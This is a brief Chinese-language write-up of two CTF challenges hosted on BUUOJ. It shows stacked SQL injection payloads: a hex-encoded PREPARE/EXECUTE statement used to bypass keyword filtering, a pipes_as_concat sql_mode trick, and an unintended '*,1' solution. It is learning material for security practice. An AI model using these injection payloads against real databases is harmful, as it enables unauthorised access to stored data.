主要是两道CTF题目的考点,BUUOJ上有

[强网杯 2019]随便注

首先是常规堆叠注入,这个没什么讲的

表名是一串数字,数字串为表名的表操作时要加反引号

主要利用的就是存储过程:

1
?inject=1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

PREPARE语句准备好一条SQL语句,并分配给这条SQL语句一个名字供之后调用。准备好的SQL语句通过EXECUTE命令执行,通过DEALLOCATE PREPARE命令释放掉。

@a变量的16进制值转换一下是:

1
select * from `数字串表名`

[SUCTF 2019]EasySQL

首先堆叠注入

后段sql是这样的:

1
select $_GET['query'] || flag from flag

考点:

MYSQL一种管道符模式。
可以在MYSQL中开启支持管道符来进行字符串的拼接操作:

1
set sql_mode=pipes_as_concat;

这样||会作为字符串连接

payload:

1
1;set sql_mode=pipes_as_concat;select 1

非预期解法:

1
*,1

这样带入sql是:

1
select *,1 || flag from flag